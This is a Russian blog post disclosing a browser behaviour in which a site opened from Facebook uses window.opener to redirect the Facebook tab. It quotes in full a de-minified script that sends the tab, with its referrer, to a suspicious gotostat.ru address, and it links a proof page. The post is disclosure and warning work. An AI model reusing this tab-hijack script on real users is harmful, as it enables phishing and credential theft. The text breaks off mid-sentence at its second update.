Уязвимость в браузере: посещая случайную ссылку, убедитесь, что таб с Facebook не поменял URL

в 14:39, , рубрики: Facebook, javascript, безопасность, информационная безопасность

image

День начинался как обычно, ничего не предвещало беды… Проверяя свои подписки в Facebook, я открыл очередную ссылочку. После просмотра информации, я вернулся к табу с Facebook'ом и обнаружил, что он редиректнулся на нечто непотребное (http://XXX.gotostat.ru/go.php? куча_параметров). Я напрягся…

Проверил еще раз, но фокус больше не удался. Что-то меня глодало, проверил систему на вирусы, удалил ненужные расширения в Firefox и Chrome, но ничего подозрительного я всё же не нашел. Тогда мне пришла идея в голову почистить куки сайта, ссылку на который я открыл. И о чудо — при переходе на этот сайт из Facebook страница с Facebook опять редиректнулась и опять же на этот подозрительный gotostat.ru. Сначала я обратил внимание на то, что пост, с которого я переходил, имел пометку «sponsored», и, возможно, это Facebook так зарабатывает. Но с другой стороны было очевидно, что редиректом управляет тот самый сторонний сайт, где я удалил куки. Покопавшись в исходниках, я нашел проблему. Уж не знаю, то ли этот сайт так некрасиво зарабатывает, то ли он заражен трояном, но сайт действительно одноразово редиректил Facebook (потенциально не только его).

Раскопав исходники сайта, я нашел вот такой вот скриптик (он был минимизован, так что я его немного привел к нормальному виду):

if (parent.window.opener) {
    rt1846 = GetCookie1846('r1846');
    if (rt1846 == null) {
        rref1846 = document.referrer;
        rref1846 = unescape(rref1846);
        var ExpDate = new Date();
        ExpDate.setTime(ExpDate.getTime() + (12 * 60 * 60 * 1000));
        SetCookie1846('r1846', '1', ExpDate, "/");
        parent.window.opener.location = "http://" + Math.floor((Math.random() * 100000) + 1) + ".gotostat.ru/go.php?id=19154&adult=1&rref=" + rref1846;
    }
}

function GetCookie1846Val(offset) {
    var endstr = document.cookie.indexOf(";", offset);
    if (endstr == -1) endstr = document.cookie.length;
    return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie1846(name) {
    var arg = name + "=";
    var alen = arg.length;
    var clen = document.cookie.length;
    var i = 0;
    while (i < clen) {
        var j = i + alen;
        if (document.cookie.substring(i, j) == arg) return GetCookie1846Val(j);
        i = document.cookie.indexOf(" ", i) + 1;
        if (i == 0) break;
    }
    return null;
}

function SetCookie1846(name, value) {
    var argv = SetCookie1846.arguments;
    var argc = SetCookie1846.arguments.length;
    var expires = (argc > 2) ? argv[2] : null;
    var path = (argc > 3) ? argv[3] : null;
    var domain = (argc > 4) ? argv[4] : null;
    var secure = (argc > 5) ? argv[5] : false;
    document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
}

Как видим, скрипт проверяет наличие parent.window.opener, а также отсутствие куки с именем r1846. Если эти условия выполняются, то следует проставление куки и редирект на упомянутый уже мной сайт. Происходит это, очевидно, потому, что Фейсбук открывает внешние ссылки, используя window.open() (любителям VK переживать не стоит — там такой проблемы нет. UPD: пользователь zodiac сообщил, что и в VK такая проблема частично присутствует, воспроизвел в Chrome по клику средней кнопки).. Выяснилось (спасибо пользователю esc за дискуссию), что parent.window.opener устанавливается не только по window.open(), но и когда ссылка имеет атрибут target="_blank". В таком случае проблема даже не в Facebook, а в поведении браузеров, что еще хуже.

И всё бы это было не так страшно (ведь в конце-концов можно точно также и сам сайт редиректнуть), но ведь люди, стоящие на темной стороне, могут создать фейковую страницу Фейсбук, и таким образом подловить ничего не подозревающего пользователя, который уверен, что после просмотра какой-нибудь «забавной картинки» возвращается обратно в закладку с Facebook'ом. Там его может поджидать, например, страница, где его попросят повторно авторизоваться или что-то в этом духе.

Перед тем, как написать этот пост, я написал репорт о проблеме с безопасностью в Facebook, но в течение 3-х часов они не удосужились даже перейти по предоставленным им ссылкам. Надеюсь, пост на Хабре ускорит устранение этой проблемы.

image

P.S. Я не считаю себя великим специалистом по JS, но мне лично непонятно, почему parent.window.opener.location является доступным на запись. Проверено в Chrome и Firefox. Есть у кого какие идеи? Это в явном виде разрешает спецификация или это баг в движках?
P..P.S. Желающие по-быстрому проверить, могут использовать данную ссылочку: 5x5.cz/facebook/proof.html (её надо запостить в Facebook и перейти по ней из Фейсбука — кликать по ссылке левой кнопкой!).

UPD1:
Информация от пользователя Flying по поводу данного поведения браузера:

Поверхностный поиск в bug tracker'е Mozilla показывает что об этом известно уже лет 10 и это поведение считается нормальным. Последний комментарий в этом же баге содержит информацию о том как избавиться от этого поведения в отдельно взятом браузере, уверен что и соответствующие расширения тоже есть.

UPD2:
После некоторого обсуждения в комментах, выяснилось, что

Автор: tendium

Источник


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js